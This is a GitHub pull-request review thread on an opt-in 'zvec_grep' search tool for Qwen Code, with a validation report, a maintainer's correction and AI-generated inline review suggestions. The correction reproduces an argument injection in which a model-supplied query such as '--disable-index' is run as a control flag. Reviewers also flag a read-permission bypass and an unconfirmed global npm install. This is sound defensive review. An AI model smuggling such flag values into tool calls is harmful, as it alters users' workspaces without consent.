  • 真正的向量语义搜索未做端到端验证 — 本环境没有 embedding API key(ZVEC_GREP_API_KEY / DASHSCOPE_API_KEY / QWEN_API_KEY)也没有已构建索引,因此语义查询会降级为词法搜索。mock 单元测试覆盖了"索引就绪 + 有 key"的参数路径(--embedding qwen/text-embedding-v4),我也在真实环境验证了降级路径;但真实的向量排序结果本身未在此测量。
  • 自动安装的副作用(设计说明,非阻断项): 在未安装 zg 的机器上首次真正调用已启用的 zvec_grep 时,会执行 npm install -g @zvec/zvec-grep@0.1.4(联网 + 全局写入),仅由 opt-in 开关把关——安装本身不会单独确认。由于工具默认关闭、只有维护者/用户能开启,这是可接受的,但值得有意识地决策(并可能加一条文档说明)。

结论

从本地验证角度看本 PR 为绿灯:可编译、受影响测试全通过、正确地默认关闭,且编译后的工具在真实 zg 二进制上端到端可用(含外部路径确认门)。建议推进合并,同时对上面提到的自动安装行为做一次有意识的确认。

@wenshao

wenshao commented Jul 11, 2026

Copy link
Copy Markdown
Collaborator

@qwen-code /triage

@wenshao

wenshao commented Jul 11, 2026

Copy link
Copy Markdown
Collaborator

⚠️ Correction to my earlier validation — I'm walking back the "recommend proceeding" verdict

Following up on my earlier local-validation comment and @LaZzyMan's review: the review is correct, and my earlier "green / recommend proceeding" conclusion was too optimistic. I re-tested with adversarial inputs and reproduced the P1 issues locally.

My earlier run used benign inputs (class ZvecGrepTool, a plain sentence) and leaned on the mocked suite, so it never exercised the argv/CLI-contract or regex classes. @LaZzyMan's point stands: the passing mocked tests do not cover the CLI contract and side effects. The 935 green tests, the build/typecheck/lint, and the opt-in gating are still valid — but they do not clear these blockers, and I should not have recommended proceeding.

Independent reproduction (real zg 0.1.4, throwaway workspace)

#1 — model-controlled query parsed as a control flag (state mutation). The semantic builder emits zg <query> --limit 20 … with no -- boundary, so a query of --disable-index runs as a control command:

$ zg --status .                       # policy = undecided
$ zg --disable-index --limit 20 .     # <- "semantic query" == --disable-index
$ zg --status .                       # policy = disabled   ← workspace state mutated
$ zg --rg --status .                  # rg pattern "--status" -> Error: --rg can only be used with query commands

Source confirms it: buildSearchArgs() returns [query, '--limit', …] and buildGrepArgs() returns ['--rg', query, …] — the model's string sits in argv before the flags. Fix as suggested: emit all flags first, then --, then the positional query/paths.

#6 — semantic→rg fallback passes the raw NL query as an unescaped regex.

$ zg --rg 'a('    → rg: regex parse error: unclosed group
$ zg --rg 'C++'   → interpreted as regex  C+  then  +   (not a literal)

#4 / #5 — confirmed by source. buildIndexArgs() copies the query's path/glob/exclude into the persistent --index, while the job/index identity is sha1(cwd) only (getWorkspaceJobKey) → a scoped first query yields a permanently narrow "ready" index. addScopeArgs() merges path-globs + glob into one comma-joined --include, giving the OR/over-broad scope in #5.

Net

All seven findings hold up; #1 and #4 in particular are genuine correctness/safety blockers at the core-tool boundary, and #2/#3 (disclosing the auto global install and the remote-indexing/API-cost behavior at the opt-in boundary) are the right call. I'm retracting my earlier recommendation — this needs the P1 fixes (query/flag isolation via --, full-workspace or scope-keyed index, regex escaping, bounded timeout/install lifecycle) and a completed PR body before it should merge. Thanks @LaZzyMan for the thorough catch.

🇨🇳 中文版本(点击展开)

⚠️ 对我此前验证结论的更正 —— 收回"建议合并"的结论

接续我此前的本地验证评论以及 @LaZzyMan评审该评审是正确的,我此前"绿灯 / 建议合并"的结论过于乐观。 我用对抗性输入重新测试,并在本地复现了这些 P1 问题。

我此前用的是良性输入class ZvecGrepTool、一句普通自然语言),并依赖 mock 测试套件,因此完全没有触及 argv/CLI 契约和正则这几类问题。@LaZzyMan 的观点成立:通过的 mock 测试并不能覆盖 CLI 契约和副作用。 935 个通过的测试、build/typecheck/lint 以及 opt-in 门控仍然有效——但它们并不能清除这些阻塞项,我不应给出建议合并的结论。

独立复现(真实 zg 0.1.4,一次性 workspace)

#1 — 模型生成的查询被当作控制参数(篡改状态)。 语义构造器生成 zg <query> --limit 20 …,没有 -- 边界,因此查询 --disable-index 会作为控制命令执行:

$ zg --status .                       # policy = undecided
$ zg --disable-index --limit 20 .     # <- “语义查询” == --disable-index
$ zg --status .                       # policy = disabled   ← workspace 状态被篡改
$ zg --rg --status .                  # rg pattern "--status" -> Error: --rg can only be used with query commands

源码印证:buildSearchArgs() 返回 [query, '--limit', …]buildGrepArgs() 返回 ['--rg', query, …]——模型的字符串位于 flag 之前。按建议修复:先放全部 flag,再 --,最后是位置参数 query/paths。

#6 — 语义降级为 rg 时,把未转义的自然语言查询当作正则。

$ zg --rg 'a('    → rg: regex parse error: unclosed group(括号未闭合)
$ zg --rg 'C++'   → 被解释为正则  C+  再接  +(不是字面量)

#4 / #5 — 源码确认。 buildIndexArgs() 把查询的 path/glob/exclude 写入持久化 --index,而任务/索引身份仅为 sha1(cwd)getWorkspaceJobKey)→ 一次窄范围首查会得到永久性偏窄的 "ready" 索引。addScopeArgs() 把 path-globs 与 glob 合并进同一个逗号分隔的 --include,导致 #5 的 OR/过宽范围。

结论

七条发现全部成立;其中 #1#4 是核心工具边界上真实的正确性/安全阻塞项,#2/#3(在 opt-in 边界披露自动全局安装、远程索引及 API 费用行为)也是正确的要求。我撤回此前的建议合并结论——本 PR 需要先修复这些 P1(用 -- 隔离 query/flag、全 workspace 或按 scope 标识索引、正则转义、超时/安装生命周期加上界),并补齐 PR 描述后再考虑合并。感谢 @LaZzyMan 的细致排查。

@qwen-code-ci-bot qwen-code-ci-bot left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

LGTM — well-implemented opt-in search tool with solid degradation story and thorough tests. One note for the maintainer: the auto-install of @zvec/zvec-grep via npm install -g on first use is a trust decision that should be explicitly confirmed. Otherwise, ready to ship. ✅

@qwen-code-ci-bot qwen-code-ci-bot left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Critical] zvec_grep is not included in the READ_TOOLS set in packages/core/src/permissions/rule-parser.ts:161. Users who deny Read access to a directory block grep_search, read_file, glob, and list_directory — but zvec_grep bypasses the restriction entirely since it is not in the set. Fix: add zvec_grep to READ_TOOLS and register it in TOOL_NAME_ALIASES and CANONICAL_TO_RULE_DISPLAY.

child.kill('SIGTERM');
};

const timer = setTimeout(() => {

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Critical] No SIGKILL escalation after timeout SIGTERM.

The timeout handler sends SIGTERM via killForLimit() but never escalates to SIGKILL. If zg traps or ignores SIGTERM, the promise hangs indefinitely — the 10s/60s timeout fails to bound execution time. No SIGKILL string exists anywhere in this file.

Suggested change
const timer = setTimeout(() => {
const killForLimit = () => {
if (truncated) return;
truncated = true;
child.kill('SIGTERM');
setTimeout(() => {
if (!child.killed) child.kill('SIGKILL');
}, 5000);
};

— qwen3.7-max via Qwen Code /review

tools: [
ToolNames.READ_FILE,
ToolNames.GREP,
ToolNames.ZVEC_GREP,

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Suggestion] Explore agent unconditionally includes ZVEC_GREP in its tools array regardless of zvecGrepEnabled. When disabled (the default), transformToToolNames emits a debug warning on every Explore agent spawn.

Consider conditionally including it based on config.isZvecGrepEnabled().

— qwen3.7-max via Qwen Code /review

return `${trimmed}/**`;
}

function expandBraceAlternates(value: string): string[] {

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Suggestion] expandBraceAlternates uses greedy (.*) prefix, so only the last brace group is expanded. Input like a.{ts,tsx}.test.{ts,tsx} produces partially-expanded globs (a.{ts,tsx}.test.ts).

Suggested change
function expandBraceAlternates(value: string): string[] {
export function expandBraceAlternates(pattern: string): string[] {
const match = /^(.*?)\{([^{}]+)\}(.*)$/.exec(pattern);
if (!match) return [pattern];
const [, before, alternatives, after] = match;
const expanded = alternatives.split(',').map((a) => `${before}${a.trim()}${after}`);
return expanded.flatMap(expandBraceAlternates);
}

— qwen3.7-max via Qwen Code /review

cwd: string,
result: ZgCommandResult,
): Promise<ToolResult> {
const rawOutput = result.stdout.trim() || result.stderr.trim();

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Suggestion] makeSearchSuccessResult uses result.stdout.trim() || result.stderr.trim() — if stdout is empty, stderr warnings are returned as search results, potentially misleading the LLM into treating diagnostic output as actual matches.

Suggested change
const rawOutput = result.stdout.trim() || result.stderr.trim();
const rawOutput = result.stdout.trim();

— qwen3.7-max via Qwen Code /review

const exclude = expandGlobs(normalizeStringArray(params.exclude));

if (include.length > 0) {
args.push('--include', include.join(','));

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Suggestion] addScopeArgs joins include patterns with commas (include.join(',')). Paths containing commas become ambiguous when parsed by zg.

Suggested change
args.push('--include', include.join(','));
for (const pattern of include) {
args.push('--include', pattern);
}

— qwen3.7-max via Qwen Code /review

ZvecGrepTool.Name,
ToolDisplayNames.ZVEC_GREP,
[
'zvec_grep is the primary, higher-quality workspace search tool. Use zvec_grep for workspace search by default; do not use grep_search when zvec_grep is available.',

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Suggestion] Tool description contains behavioral steering directives ("do not use grep_search when zvec_grep is available", "Trust zvec_grep result quality") rather than factual capability descriptions. This biases the LLM to prefer zvec_grep even when it falls back to plain rg mode.

Consider softening to factual statements about capabilities and letting the system prompt handle preference.

— qwen3.7-max via Qwen Code /review

const child = spawn('npm', ['install', '-g', ZVEC_GREP_NPM_PACKAGE], {
env: zvecGrepChildEnv(),
windowsHide: true,
stdio: ['ignore', 'pipe', 'pipe'],

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Suggestion] npm install -g runs without --ignore-scripts, executing arbitrary postinstall scripts from @zvec/zvec-grep and its transitive dependencies. Combined with the silent auto-install behavior (no user consent), this is a supply chain surface.

Consider adding --ignore-scripts if the zg binary does not require postinstall scripts.

— qwen3.7-max via Qwen Code /review

@doudouOUC doudouOUC left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Reviewed — no blockers. Suggestions are inline.

}
}

function startBackgroundIndexJob(

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Suggestion] startBackgroundIndexJob spawns a detached zg --index with child.unref() and no max-runtime guard. If the indexing process hangs (large repo, network stall for remote embedding, or a zg bug), it runs indefinitely — no one kills it. The only lifecycle management is cleanup on error/exit events, which never fire if the process never exits.

Consider adding a max-runtime timeout (e.g., 30 minutes) that kills the background job:

const maxRuntimeMs = 30 * 60 * 1000;
const watchdog = setTimeout(() => {
  try { child.kill('SIGTERM'); } catch {}
}, maxRuntimeMs);
child.on('exit', () => clearTimeout(watchdog));

— qwen3.7-max via Qwen Code /review

return (value ?? []).map((item) => item.trim()).filter(Boolean);
}

function getSearchQuery(params: ZvecGrepParams): string | undefined {

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Suggestion] getSearchQuery silently drops pattern when query is also provided:

const query = params.query?.trim() || params.pattern?.trim();

The schema defines query for semantic and pattern for rg, but both are optional and not mutually exclusive. If the LLM provides both (e.g., operation: "rg", query: "auth middleware", pattern: "authenticateUser"), the pattern value is silently discarded.

Either validate mutual exclusivity in validateToolParamValues, or make the precedence operation-aware:

function getSearchQuery(params: ZvecGrepParams): string | undefined {
  if (params.operation === 'semantic') return params.query?.trim() || undefined;
  return params.pattern?.trim() || params.query?.trim() || undefined;
}

— qwen3.7-max via Qwen Code /review

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

5 participants